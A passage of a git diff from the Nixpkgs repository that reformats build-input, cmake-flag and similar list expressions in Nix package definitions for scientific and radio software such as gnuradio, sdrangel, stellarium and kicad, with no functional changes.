   nativeBuildInputs = [ pkg-config ];
 
-  buildInputs =
-    [
-      libXinerama
-      gettext
-      hamlib
-      fltk13
-      libjpeg
-      libpng
-      portaudio
-      libsndfile
-      libsamplerate
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux) [
-      libpulseaudio
-      alsa-lib
-      udev
-    ];
+  buildInputs = [
+    libXinerama
+    gettext
+    hamlib
+    fltk13
+    libjpeg
+    libpng
+    portaudio
+    libsndfile
+    libsamplerate
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux) [
+    libpulseaudio
+    alsa-lib
+    udev
+  ];
 
   env.CXXFLAGS = lib.optionalString stdenv.cc.isClang "-std=c++14";
 
diff --git a/pkgs/applications/radio/gnuradio/default.nix b/pkgs/applications/radio/gnuradio/default.nix
index 05d7d5530f2e..f376fe9e5061 100644
--- a/pkgs/applications/radio/gnuradio/default.nix
+++ b/pkgs/applications/radio/gnuradio/default.nix
@@ -58,16 +58,15 @@ let
         pkg-config
         orc
       ];
-      runtime =
-        [
-          volk
-          boost
-          spdlog
-          mpir
-        ]
-        # when gr-qtgui is disabled, icu needs to be included, otherwise
-        # building with boost 1.7x fails
-        ++ lib.optionals (!(hasFeature "gr-qtgui")) [ icu ];
+      runtime = [
+        volk
+        boost
+        spdlog
+        mpir
+      ]
+      # when gr-qtgui is disabled, icu needs to be included, otherwise
+      # building with boost 1.7x fails
+      ++ lib.optionals (!(hasFeature "gr-qtgui")) [ icu ];
       pythonNative = with python.pkgs; [
         mako
         six
diff --git a/pkgs/applications/radio/gnuradio/shared.nix b/pkgs/applications/radio/gnuradio/shared.nix
index ef1b5feb6a8d..f0f712e8a916 100644
--- a/pkgs/applications/radio/gnuradio/shared.nix
+++ b/pkgs/applications/radio/gnuradio/shared.nix
@@ -36,17 +36,18 @@ in
         rev = "v${version}";
         sha256 = sourceSha256;
       };
-  nativeBuildInputs =
-    [ removeReferencesTo ]
-    ++ lib.flatten (
-      lib.mapAttrsToList (
-        feat: info:
-        (lib.optionals (hasFeature feat) (
-          (lib.optionals (builtins.hasAttr "native" info) info.native)
-          ++ (lib.optionals (builtins.hasAttr "pythonNative" info) info.pythonNative)
-        ))
-      ) featuresInfo
-    );
+  nativeBuildInputs = [
+    removeReferencesTo
+  ]
+  ++ lib.flatten (
+    lib.mapAttrsToList (
+      feat: info:
+      (lib.optionals (hasFeature feat) (
+        (lib.optionals (builtins.hasAttr "native" info) info.native)
+        ++ (lib.optionals (builtins.hasAttr "pythonNative" info) info.pythonNative)
+      ))
+    ) featuresInfo
+  );
   buildInputs = lib.flatten (
     lib.mapAttrsToList (
       feat: info:
@@ -70,23 +71,21 @@ in
         "-DENABLE_${info.cmakeEnableFlag}=OFF"
     )
   ) featuresInfo;
-  disallowedReferences =
-    [
-      # TODO: Should this be conditional?
-      stdenv.cc
-      stdenv.cc.cc
-    ]
-    # If python-support is disabled, we probably don't want it referenced
-    ++ lib.optionals (!hasFeature "python-support") [ python ];
+  disallowedReferences = [
+    # TODO: Should this be conditional?
+    stdenv.cc
+    stdenv.cc.cc
+  ]
+  # If python-support is disabled, we probably don't want it referenced
+  ++ lib.optionals (!hasFeature "python-support") [ python ];
   # Gcc references from examples
-  stripDebugList =
-    [
-      "lib"
-      "bin"
-    ]
-    ++ lib.optionals (hasFeature "gr-audio") [ "share/gnuradio/examples/audio" ]
-    ++ lib.optionals (hasFeature "gr-uhd") [ "share/gnuradio/examples/uhd" ]
-    ++ lib.optionals (hasFeature "gr-qtgui") [ "share/gnuradio/examples/qt-gui" ];
+  stripDebugList = [
+    "lib"
+    "bin"
+  ]
+  ++ lib.optionals (hasFeature "gr-audio") [ "share/gnuradio/examples/audio" ]
+  ++ lib.optionals (hasFeature "gr-uhd") [ "share/gnuradio/examples/uhd" ]
+  ++ lib.optionals (hasFeature "gr-qtgui") [ "share/gnuradio/examples/qt-gui" ];
   postInstall =
     ""
     # Gcc references
@@ -101,24 +100,23 @@ in
   # module. It's not that bad since it's a development package for most
   # purposes. If closure size needs to be reduced, features should be disabled
   # via an override.
-  passthru =
-    {
-      inherit
-        hasFeature
-        versionAttr
-        features
-        featuresInfo
-        python
-        ;
-      gnuradioOlder = lib.versionOlder versionAttr.major;
-      gnuradioAtLeast = lib.versionAtLeast versionAttr.major;
-    }
-    // lib.optionalAttrs (hasFeature "gr-qtgui") {
-      inherit qt;
-    }
-    // lib.optionalAttrs (hasFeature "gnuradio-companion") {
-      inherit gtk;
-    };
+  passthru = {
+    inherit
+      hasFeature
+      versionAttr
+      features
+      featuresInfo
+      python
+      ;
+    gnuradioOlder = lib.versionOlder versionAttr.major;
+    gnuradioAtLeast = lib.versionAtLeast versionAttr.major;
+  }
+  // lib.optionalAttrs (hasFeature "gr-qtgui") {
+    inherit qt;
+  }
+  // lib.optionalAttrs (hasFeature "gnuradio-companion") {
+    inherit gtk;
+  };
   # Wrapping is done with an external wrapper
   dontWrapPythonPrograms = true;
   dontWrapQtApps = true;
diff --git a/pkgs/applications/radio/gqrx/default.nix b/pkgs/applications/radio/gqrx/default.nix
index 2bb626cc324a..b95d3bddab00 100644
--- a/pkgs/applications/radio/gqrx/default.nix
+++ b/pkgs/applications/radio/gqrx/default.nix
@@ -46,29 +46,28 @@ gnuradioMinimal.pkgs.mkDerivation rec {
     wrapQtAppsHook
     wrapGAppsHook3
   ];
-  buildInputs =
-    [
-      gnuradioMinimal.unwrapped.logLib
-      mpir
-      fftwFloat
-      libjack2
-      gnuradioMinimal.unwrapped.boost
-      qtbase
-      qtsvg
-      gnuradioMinimal.pkgs.osmosdr
-      rtl-sdr
-      hackrf
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
-      qtwayland
-    ]
-    ++ lib.optionals (gnuradioMinimal.hasFeature "gr-ctrlport") [
-      thrift
-      gnuradioMinimal.unwrapped.python.pkgs.thrift
-    ]
-    ++ lib.optionals pulseaudioSupport [ libpulseaudio ]
-    ++ lib.optionals portaudioSupport [ portaudio ];
+  buildInputs = [
+    gnuradioMinimal.unwrapped.logLib
+    mpir
+    fftwFloat
+    libjack2
+    gnuradioMinimal.unwrapped.boost
+    qtbase
+    qtsvg
+    gnuradioMinimal.pkgs.osmosdr
+    rtl-sdr
+    hackrf
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
+    qtwayland
+  ]
+  ++ lib.optionals (gnuradioMinimal.hasFeature "gr-ctrlport") [
+    thrift
+    gnuradioMinimal.unwrapped.python.pkgs.thrift
+  ]
+  ++ lib.optionals pulseaudioSupport [ libpulseaudio ]
+  ++ lib.optionals portaudioSupport [ portaudio ];
 
   cmakeFlags =
     let
diff --git a/pkgs/applications/radio/limesuite/default.nix b/pkgs/applications/radio/limesuite/default.nix
index 40929d11910d..c736762f437e 100644
--- a/pkgs/applications/radio/limesuite/default.nix
+++ b/pkgs/applications/radio/limesuite/default.nix
@@ -29,22 +29,22 @@ stdenv.mkDerivation rec {
 
   cmakeFlags = [
     "-DOpenGL_GL_PREFERENCE=GLVND"
-  ] ++ lib.optional (!withGui) "-DENABLE_GUI=OFF";
+  ]
+  ++ lib.optional (!withGui) "-DENABLE_GUI=OFF";
 
-  buildInputs =
-    [
-      libusb1
-      sqlite
-      gnuplot
-      libusb1
-      soapysdr
-    ]
-    ++ lib.optionals withGui [
-      fltk
-      libX11
-      mesa_glu
-      wxGTK32
-    ];
+  buildInputs = [
+    libusb1
+    sqlite
+    gnuplot
+    libusb1
+    soapysdr
+  ]
+  ++ lib.optionals withGui [
+    fltk
+    libX11
+    mesa_glu
+    wxGTK32
+  ];
 
   postInstall = ''
     install -Dm444 -t $out/lib/udev/rules.d ../udev-rules/64-limesuite.rules
diff --git a/pkgs/applications/radio/qradiolink/default.nix b/pkgs/applications/radio/qradiolink/default.nix
index 51449acdc1f6..ccdb9ffe3df6 100644
--- a/pkgs/applications/radio/qradiolink/default.nix
+++ b/pkgs/applications/radio/qradiolink/default.nix
@@ -50,39 +50,38 @@ gnuradio.pkgs.mkDerivation {
     install -Dm644 qradiolink.desktop $out/share/applications/qradiolink.desktop
   '';
 
-  buildInputs =
-    [
-      gnuradio.unwrapped.boost
-      codec2
-      gnuradio.unwrapped.logLib
-      # gnuradio uses it's own log library (spdlog), and qradiolink is still
-      # using the old gnuradio log library log4cpp. Perhaps this won't be needed
-      # once the gr_3.10 branch will mature enough to be merged into qradiolink's
-      # master branch.
-      log4cpp
-      gmp
-      libpulseaudio
-      libconfig
-      gsm
-      gnuradio.pkgs.osmosdr
-      libopus
-      libjpeg
-      limesuite
-      soapysdr-with-plugins
-      speex
-      speexdsp
-      gnuradio.qt.qtbase
-      gnuradio.qt.qtmultimedia
-      libftdi
-      libsndfile
-      cppzmq
-      gnuradio.qwt
-      uhd
-    ]
-    ++ lib.optionals (gnuradio.hasFeature "gr-ctrlport") [
-      thrift
-      gnuradio.unwrapped.python.pkgs.thrift
-    ];
+  buildInputs = [
+    gnuradio.unwrapped.boost
+    codec2
+    gnuradio.unwrapped.logLib
+    # gnuradio uses it's own log library (spdlog), and qradiolink is still
+    # using the old gnuradio log library log4cpp. Perhaps this won't be needed
+    # once the gr_3.10 branch will mature enough to be merged into qradiolink's
+    # master branch.
+    log4cpp
+    gmp
+    libpulseaudio
+    libconfig
+    gsm
+    gnuradio.pkgs.osmosdr
+    libopus
+    libjpeg
+    limesuite
+    soapysdr-with-plugins
+    speex
+    speexdsp
+    gnuradio.qt.qtbase
+    gnuradio.qt.qtmultimedia
+    libftdi
+    libsndfile
+    cppzmq
+    gnuradio.qwt
+    uhd
+  ]
+  ++ lib.optionals (gnuradio.hasFeature "gr-ctrlport") [
+    thrift
+    gnuradio.unwrapped.python.pkgs.thrift
+  ];
   nativeBuildInputs = [
     protobuf
     gnuradio.qt.qmake
diff --git a/pkgs/applications/radio/sdr-j-fm/default.nix b/pkgs/applications/radio/sdr-j-fm/default.nix
index 0ccb332bd0aa..b970a59139d4 100644
--- a/pkgs/applications/radio/sdr-j-fm/default.nix
+++ b/pkgs/applications/radio/sdr-j-fm/default.nix
@@ -57,7 +57,8 @@ stdenv.mkDerivation (finalAttrs: {
       PLUTO = true;
       # Some more cmake flags are mentioned in upstream's CMakeLists.txt file
       # but they don't actually make a difference.
-    } // featuresOverride;
+    }
+    // featuresOverride;
   };
 
   postInstall = ''
diff --git a/pkgs/applications/radio/sdrangel/default.nix b/pkgs/applications/radio/sdrangel/default.nix
index aad4b36ed8ad..170505567fd3 100644
--- a/pkgs/applications/radio/sdrangel/default.nix
+++ b/pkgs/applications/radio/sdrangel/default.nix
@@ -71,52 +71,51 @@ stdenv.mkDerivation (finalAttrs: {
     wrapQtAppsHook
   ];
 
-  buildInputs =
-    [
-      airspy
-      airspyhf
-      aptdec
-      boost
-      cm256cc
-      codec2
-      dab_lib
-      dsdcc
-      faad2
-      ffmpeg
-      fftwFloat
-      flac
-      glew
-      hackrf
-      hidapi
-      libbladeRF
-      libiio
-      libopus
-      libpulseaudio
-      libusb1
-      limesuite
-      mbelib
-      opencv4
-      qt5compat
-      qtcharts
-      qtdeclarative
-      qtlocation
-      qtmultimedia
-      qtscxml
-      qtserialport
-      qtspeech
-      qttools
-      qtwebsockets
-      qtwebengine
-      rtl-sdr
-      serialdv
-      sgp4
-      soapysdr-with-plugins
-      uhd
-      zlib
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [ qtwayland ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ apple-sdk_12 ]
-    ++ lib.optionals withSDRplay [ sdrplay ];
+  buildInputs = [
+    airspy
+    airspyhf
+    aptdec
+    boost
+    cm256cc
+    codec2
+    dab_lib
+    dsdcc
+    faad2
+    ffmpeg
+    fftwFloat
+    flac
+    glew
+    hackrf
+    hidapi
+    libbladeRF
+    libiio
+    libopus
+    libpulseaudio
+    libusb1
+    limesuite
+    mbelib
+    opencv4
+    qt5compat
+    qtcharts
+    qtdeclarative
+    qtlocation
+    qtmultimedia
+    qtscxml
+    qtserialport
+    qtspeech
+    qttools
+    qtwebsockets
+    qtwebengine
+    rtl-sdr
+    serialdv
+    sgp4
+    soapysdr-with-plugins
+    uhd
+    zlib
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ qtwayland ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ apple-sdk_12 ]
+  ++ lib.optionals withSDRplay [ sdrplay ];
 
   patches = [
     # https://github.com/f4exb/sdrangel/pull/2439
diff --git a/pkgs/applications/radio/soapysdr/default.nix b/pkgs/applications/radio/soapysdr/default.nix
index 02d915ffa202..4b28ee5cb398 100644
--- a/pkgs/applications/radio/soapysdr/default.nix
+++ b/pkgs/applications/radio/soapysdr/default.nix
@@ -35,15 +35,14 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
     makeWrapper
   ];
-  buildInputs =
-    [
-      libusb-compat-0_1
-      ncurses
-    ]
-    ++ lib.optionals usePython [
-      python
-      swig
-    ];
+  buildInputs = [
+    libusb-compat-0_1
+    ncurses
+  ]
+  ++ lib.optionals usePython [
+    python
+    swig
+  ];
 
   propagatedBuildInputs = lib.optionals usePython [ python.pkgs.numpy ];
 
diff --git a/pkgs/applications/radio/welle-io/default.nix b/pkgs/applications/radio/welle-io/default.nix
index 6f3e82e93022..c2e77f833b86 100644
--- a/pkgs/applications/radio/welle-io/default.nix
+++ b/pkgs/applications/radio/welle-io/default.nix
@@ -50,12 +50,14 @@ stdenv.mkDerivation rec {
     qt5compat
     rtl-sdr
     soapysdr-with-plugins
-  ] ++ lib.optional withFlac flac;
+  ]
+  ++ lib.optional withFlac flac;
 
   cmakeFlags = [
     "-DRTLSDR=true"
     "-DSOAPYSDR=true"
-  ] ++ lib.optional withFlac "-DFLAC=true";
+  ]
+  ++ lib.optional withFlac "-DFLAC=true";
 
   meta = {
     description = "DAB/DAB+ Software Radio";
@@ -68,6 +70,7 @@ stdenv.mkDerivation rec {
     platforms = [
       "x86_64-linux"
       "i686-linux"
-    ] ++ lib.platforms.darwin;
+    ]
+    ++ lib.platforms.darwin;
   };
 }
diff --git a/pkgs/applications/science/astronomy/stellarium/default.nix b/pkgs/applications/science/astronomy/stellarium/default.nix
index 1933c831b660..70b4557be9fc 100644
--- a/pkgs/applications/science/astronomy/stellarium/default.nix
+++ b/pkgs/applications/science/astronomy/stellarium/default.nix
@@ -68,33 +68,31 @@ stdenv.mkDerivation (finalAttrs: {
     qttools
   ];
 
-  buildInputs =
-    [
-      qtbase
-      qtcharts
-      qtpositioning
-      qtmultimedia
-      qtserialport
-      qtwebengine
-      calcmysky
-      qxlsx
-      indilib
-      libnova
-      exiv2
-      md4c
-      nlopt
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      qtwayland
-    ];
+  buildInputs = [
+    qtbase
+    qtcharts
+    qtpositioning
+    qtmultimedia
+    qtserialport
+    qtwebengine
+    calcmysky
+    qxlsx
+    indilib
+    libnova
+    exiv2
+    md4c
+    nlopt
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    qtwayland
+  ];
 
-  preConfigure =
-    ''
-      export SOURCE_DATE_EPOCH=$(date -d 20${lib.versions.major finalAttrs.version}0101 +%s)
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      export LC_ALL=en_US.UTF-8
-    '';
+  preConfigure = ''
+    export SOURCE_DATE_EPOCH=$(date -d 20${lib.versions.major finalAttrs.version}0101 +%s)
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    export LC_ALL=en_US.UTF-8
+  '';
 
   # fatal error: 'QtSerialPort/QSerialPortInfo' file not found
   env.NIX_CFLAGS_COMPILE = lib.optionalString stdenv.hostPlatform.isDarwin "-F${qtserialport}/lib";
diff --git a/pkgs/applications/science/biology/blast/bin.nix b/pkgs/applications/science/biology/blast/bin.nix
index 630ef07fd88c..3f317d999fbc 100644
--- a/pkgs/applications/science/biology/blast/bin.nix
+++ b/pkgs/applications/science/biology/blast/bin.nix
@@ -42,18 +42,17 @@ stdenv.mkDerivation {
 
   nativeBuildInputs = lib.optionals stdenv.hostPlatform.isLinux [ autoPatchelfHook ];
 
-  buildInputs =
-    [
-      python3
-      perl
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      zlib
-      bzip2
-      glib
-      libxml2
-      sqlite
-    ];
+  buildInputs = [
+    python3
+    perl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    zlib
+    bzip2
+    glib
+    libxml2
+    sqlite
+  ];
 
   installPhase = ''
     runHook preInstall
diff --git a/pkgs/applications/science/biology/mrtrix/default.nix b/pkgs/applications/science/biology/mrtrix/default.nix
index 0f75daf9c657..594f8e5e988e 100644
--- a/pkgs/applications/science/biology/mrtrix/default.nix
+++ b/pkgs/applications/science/biology/mrtrix/default.nix
@@ -36,26 +36,26 @@ stdenv.mkDerivation {
     makeWrapper
     less
     python3
-  ] ++ lib.optional withGui qt5.wrapQtAppsHook;
+  ]
+  ++ lib.optional withGui qt5.wrapQtAppsHook;
 
-  buildInputs =
-    [
-      ants
-      eigen_3_4_0
-      python3
-      fftw
-      libtiff
-      libpng
-      zlib
-    ]
-    ++ lib.optionals withGui [
-      libGL
-      libGLU
-      libX11
-      libXext
-      qt5.qtbase
-      qt5.qtsvg
-    ];
+  buildInputs = [
+    ants
+    eigen_3_4_0
+    python3
+    fftw
+    libtiff
+    libpng
+    zlib
+  ]
+  ++ lib.optionals withGui [
+    libGL
+    libGLU
+    libX11
+    libXext
+    qt5.qtbase
+    qt5.qtsvg
+  ];
 
   nativeInstallCheckInputs = [ bc ];
 
diff --git a/pkgs/applications/science/biology/nest/default.nix b/pkgs/applications/science/biology/nest/default.nix
index 3026ac9ce885..3a0dc1d7db4d 100644
--- a/pkgs/applications/science/biology/nest/default.nix
+++ b/pkgs/applications/science/biology/nest/default.nix
@@ -43,19 +43,18 @@ stdenv.mkDerivation rec {
     findutils
   ];
 
-  buildInputs =
-    [
-      gsl
-      readline
-      libtool # libltdl
-      boost
-    ]
-    ++ lib.optionals withPython [
-      python3
-      python3.pkgs.cython
-    ]
-    ++ lib.optional withMpi mpi
-    ++ lib.optional stdenv.hostPlatform.isDarwin llvmPackages.openmp;
+  buildInputs = [
+    gsl
+    readline
+    libtool # libltdl
+    boost
+  ]
+  ++ lib.optionals withPython [
+    python3
+    python3.pkgs.cython
+  ]
+  ++ lib.optional withMpi mpi
+  ++ lib.optional stdenv.hostPlatform.isDarwin llvmPackages.openmp;
 
   propagatedBuildInputs = with python3.pkgs; [
     numpy
diff --git a/pkgs/applications/science/biology/samtools/default.nix b/pkgs/applications/science/biology/samtools/default.nix
index 10bb0010a940..072234599cdc 100644
--- a/pkgs/applications/science/biology/samtools/default.nix
+++ b/pkgs/applications/science/biology/samtools/default.nix
@@ -33,10 +33,11 @@ stdenv.mkDerivation rec {
   '';
   makeFlags = lib.optional stdenv.hostPlatform.isStatic "AR=${stdenv.cc.targetPrefix}ar";
 
-  configureFlags =
-    [ "--with-htslib=${htslib}" ]
-    ++ lib.optional (ncurses == null) "--without-curses"
-    ++ lib.optionals stdenv.hostPlatform.isStatic [ "--without-curses" ];
+  configureFlags = [
+    "--with-htslib=${htslib}"
+  ]
+  ++ lib.optional (ncurses == null) "--without-curses"
+  ++ lib.optionals stdenv.hostPlatform.isStatic [ "--without-curses" ];
 
   preCheck = ''
     patchShebangs test/
diff --git a/pkgs/applications/science/biology/truvari/default.nix b/pkgs/applications/science/biology/truvari/default.nix
index 51fd73ea2493..826def39c1e5 100644
--- a/pkgs/applications/science/biology/truvari/default.nix
+++ b/pkgs/applications/science/biology/truvari/default.nix
@@ -63,14 +63,13 @@ python3Packages.buildPythonApplication rec {
 
   pythonImportsCheck = [ "truvari" ];
 
-  nativeCheckInputs =
-    [
-      bcftools
-      htslib
-    ]
-    ++ (with python3Packages; [
-      coverage
-    ]);
+  nativeCheckInputs = [
+    bcftools
+    htslib
+  ]
+  ++ (with python3Packages; [
+    coverage
+  ]);
 
   checkPhase = ''
     runHook preCheck
diff --git a/pkgs/applications/science/chemistry/autodock-vina/default.nix b/pkgs/applications/science/chemistry/autodock-vina/default.nix
index 4720d536351e..66d1f3506a1b 100644
--- a/pkgs/applications/science/chemistry/autodock-vina/default.nix
+++ b/pkgs/applications/science/chemistry/autodock-vina/default.nix
@@ -25,13 +25,12 @@ stdenv.mkDerivation (finalAttrs: {
     if stdenv.hostPlatform.isDarwin then "mac" else "linux"
   }/release";
 
-  buildInputs =
-    [
-      boost'
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      glibc.static
-    ];
+  buildInputs = [
+    boost'
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    glibc.static
+  ];
 
   makeFlags = [
     "GPP=${stdenv.cc.targetPrefix}c++"
diff --git a/pkgs/applications/science/chemistry/quantum-espresso/default.nix b/pkgs/applications/science/chemistry/quantum-espresso/default.nix
index 89c5f8a5c2fa..42f482e9e016 100644
--- a/pkgs/applications/science/chemistry/quantum-espresso/default.nix
+++ b/pkgs/applications/science/chemistry/quantum-espresso/default.nix
@@ -99,26 +99,26 @@ stdenv.mkDerivation rec {
     libmbd
     libxc
     hdf5
-  ] ++ lib.optional enableMpi scalapack;
+  ]
+  ++ lib.optional enableMpi scalapack;
 
   propagatedBuildInputs = lib.optional enableMpi mpi;
   propagatedUserEnvPkgs = lib.optional enableMpi mpi;
 
-  cmakeFlags =
-    [
-      "-DBUILD_SHARED_LIBS=ON"
-      "-DWANNIER90_ROOT=${wannier90}"
-      "-DMBD_ROOT=${libmbd}"
-      "-DQE_ENABLE_OPENMP=ON"
-      "-DQE_ENABLE_LIBXC=ON"
-      "-DQE_ENABLE_HDF5=ON"
-      "-DQE_ENABLE_PLUGINS=pw2qmcpack"
-    ]
-    ++ lib.optionals enableMpi [
-      "-DQE_ENABLE_MPI=ON"
-      "-DQE_ENABLE_MPI_MODULE=ON"
-      "-DQE_ENABLE_SCALAPACK=ON"
-    ];
+  cmakeFlags = [
+    "-DBUILD_SHARED_LIBS=ON"
+    "-DWANNIER90_ROOT=${wannier90}"
+    "-DMBD_ROOT=${libmbd}"
+    "-DQE_ENABLE_OPENMP=ON"
+    "-DQE_ENABLE_LIBXC=ON"
+    "-DQE_ENABLE_HDF5=ON"
+    "-DQE_ENABLE_PLUGINS=pw2qmcpack"
+  ]
+  ++ lib.optionals enableMpi [
+    "-DQE_ENABLE_MPI=ON"
+    "-DQE_ENABLE_MPI_MODULE=ON"
+    "-DQE_ENABLE_SCALAPACK=ON"
+  ];
 
   meta = with lib; {
     description = "Electronic-structure calculations and materials modeling at the nanoscale";
diff --git a/pkgs/applications/science/chemistry/siesta/default.nix b/pkgs/applications/science/chemistry/siesta/default.nix
index c88b85be9e3e..2a10942d8880 100644
--- a/pkgs/applications/science/chemistry/siesta/default.nix
+++ b/pkgs/applications/science/chemistry/siesta/default.nix
@@ -38,17 +38,16 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      blas
-      lapack
-      readline
-      elpa
-    ]
-    ++ lib.optionals useMpi [
-      mpi
-      scalapack
-    ];
+  buildInputs = [
+    blas
+    lapack
+    readline
+    elpa
+  ]
+  ++ lib.optionals useMpi [
+    mpi
+    scalapack
+  ];
 
   NIX_LDFLAGS = "-lm";
 
@@ -59,30 +58,29 @@ stdenv.mkDerivation (finalAttrs: {
 
   enableParallelBuilding = false; # Started making trouble with gcc-11
 
-  preBuild =
-    ''
-      # See https://gitlab.com/siesta-project/siesta/-/commit/a10bf1628e7141ba263841889c3503c263de1582
-      # This may be fixed in the next release.
-      makeFlagsArray=(
-          FFLAGS="-fallow-argument-mismatch"
-      )
-    ''
-    + (
-      if useMpi then
-        ''
-          makeFlagsArray+=(
-              CC="mpicc" FC="mpifort"
-              FPPFLAGS="-DMPI" MPI_INTERFACE="libmpi_f90.a" MPI_INCLUDE="."
-              COMP_LIBS="" LIBS="-lblas -llapack -lscalapack"
-          );
-        ''
-      else
-        ''
-          makeFlagsArray+=(
-            COMP_LIBS="" LIBS="-lblas -llapack"
-          );
-        ''
-    );
+  preBuild = ''
+    # See https://gitlab.com/siesta-project/siesta/-/commit/a10bf1628e7141ba263841889c3503c263de1582
+    # This may be fixed in the next release.
+    makeFlagsArray=(
+        FFLAGS="-fallow-argument-mismatch"
+    )
+  ''
+  + (
+    if useMpi then
+      ''
+        makeFlagsArray+=(
+            CC="mpicc" FC="mpifort"
+            FPPFLAGS="-DMPI" MPI_INTERFACE="libmpi_f90.a" MPI_INCLUDE="."
+            COMP_LIBS="" LIBS="-lblas -llapack -lscalapack"
+        );
+      ''
+    else
+      ''
+        makeFlagsArray+=(
+          COMP_LIBS="" LIBS="-lblas -llapack"
+        );
+      ''
+  );
 
   meta = {
     description = "First-principles materials simulation code using DFT";
diff --git a/pkgs/applications/science/electronics/dsview/default.nix b/pkgs/applications/science/electronics/dsview/default.nix
index 44a1e07ced10..9b28ab0b2387 100644
--- a/pkgs/applications/science/electronics/dsview/default.nix
+++ b/pkgs/applications/science/electronics/dsview/default.nix
@@ -40,7 +40,8 @@ stdenv.mkDerivation (finalAttrs: {
     cmake
     pkg-config
     wrapQtAppsHook
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin desktopToDarwinBundle;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin desktopToDarwinBundle;
 
   buildInputs = [
     boost
@@ -50,7 +51,8 @@ stdenv.mkDerivation (finalAttrs: {
     libusb1
     libzip
     python3
-  ] ++ lib.optional stdenv.hostPlatform.isLinux qtwayland;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux qtwayland;
 
   meta = {
     description = "GUI program for supporting various instruments from DreamSourceLab, including logic analyzer, oscilloscope, etc";
diff --git a/pkgs/applications/science/electronics/fritzing/default.nix b/pkgs/applications/science/electronics/fritzing/default.nix
index 8b0fd62a5564..f6f535eb01aa 100644
--- a/pkgs/applications/science/electronics/fritzing/default.nix
+++ b/pkgs/applications/science/electronics/fritzing/default.nix
@@ -62,21 +62,20 @@ stdenv.mkDerivation {
     wrapQtAppsHook
   ];
 
-  buildInputs =
-    [
-      qtbase
-      qtsvg
-      qtserialport
-      qt5compat
-      boost
-      libgit2
-      quazip
-      libngspice
-      clipper
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      qtwayland
-    ];
+  buildInputs = [
+    qtbase
+    qtsvg
+    qtserialport
+    qt5compat
+    boost
+    libgit2
+    quazip
+    libngspice
+    clipper
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    qtwayland
+  ];
 
   postPatch = ''
     # Use packaged quazip, libgit and ngspice
diff --git a/pkgs/applications/science/electronics/hal-hardware-analyzer/default.nix b/pkgs/applications/science/electronics/hal-hardware-analyzer/default.nix
index cfb13ffab886..4fed26932415 100644
--- a/pkgs/applications/science/electronics/hal-hardware-analyzer/default.nix
+++ b/pkgs/applications/science/electronics/hal-hardware-analyzer/default.nix
@@ -66,25 +66,24 @@ stdenv.mkDerivation rec {
     pkg-config
     wrapQtAppsHook
   ];
-  buildInputs =
-    [
-      qtbase
-      qtsvg
-      boost
-      rapidjson
-      igraph
-      nlohmann_json
-      spdlog
-      graphviz
-      verilator
-      z3
-      quazip
-    ]
-    ++ (with python3Packages; [
-      python
-      pybind11
-    ])
-    ++ lib.optional stdenv.cc.isClang llvmPackages.openmp;
+  buildInputs = [
+    qtbase
+    qtsvg
+    boost
+    rapidjson
+    igraph
+    nlohmann_json
+    spdlog
+    graphviz
+    verilator
+    z3
+    quazip
+  ]
+  ++ (with python3Packages; [
+    python
+    pybind11
+  ])
+  ++ lib.optional stdenv.cc.isClang llvmPackages.openmp;
 
   cmakeFlags = with lib.versions; [
     "-DHAL_VERSION_RETURN=${version}"
diff --git a/pkgs/applications/science/electronics/kicad/base.nix b/pkgs/applications/science/electronics/kicad/base.nix
index 9bbf2c3f19c6..8bf55470bcdf 100644
--- a/pkgs/applications/science/electronics/kicad/base.nix
+++ b/pkgs/applications/science/electronics/kicad/base.nix
@@ -101,99 +101,96 @@ stdenv.mkDerivation rec {
     export CXXFLAGS="''${CXXFLAGS:-} -Og -ggdb"
   '';
 
-  cmakeFlags =
-    [
-      "-DKICAD_USE_EGL=ON"
-      "-DOCC_INCLUDE_DIR=${opencascade-occt}/include/opencascade"
-      # https://gitlab.com/kicad/code/kicad/-/issues/17133
-      "-DCMAKE_CTEST_ARGUMENTS='--exclude-regex;qa_spice'"
-      "-DKICAD_USE_CMAKE_FINDPROTOBUF=OFF"
-    ]
-    ++ optional (
-      stdenv.hostPlatform.system == "aarch64-linux"
-    ) "-DCMAKE_CTEST_ARGUMENTS=--exclude-regex;'qa_spice|qa_cli'"
-    ++ optional (stable && !withNgspice) "-DKICAD_SPICE=OFF"
-    ++ optionals (!withScripting) [
-      "-DKICAD_SCRIPTING_WXPYTHON=OFF"
-    ]
-    ++ optionals (withI18n) [
-      "-DKICAD_BUILD_I18N=ON"
-    ]
-    ++ optionals (!doInstallCheck) [
-      "-DKICAD_BUILD_QA_TESTS=OFF"
-    ]
-    ++ optionals (debug) [
-      "-DKICAD_STDLIB_DEBUG=ON"
-      "-DKICAD_USE_VALGRIND=ON"
-    ]
-    ++ optionals (sanitizeAddress) [
-      "-DKICAD_SANITIZE_ADDRESS=ON"
-    ]
-    ++ optionals (sanitizeThreads) [
-      "-DKICAD_SANITIZE_THREADS=ON"
-    ];
+  cmakeFlags = [
+    "-DKICAD_USE_EGL=ON"
+    "-DOCC_INCLUDE_DIR=${opencascade-occt}/include/opencascade"
+    # https://gitlab.com/kicad/code/kicad/-/issues/17133
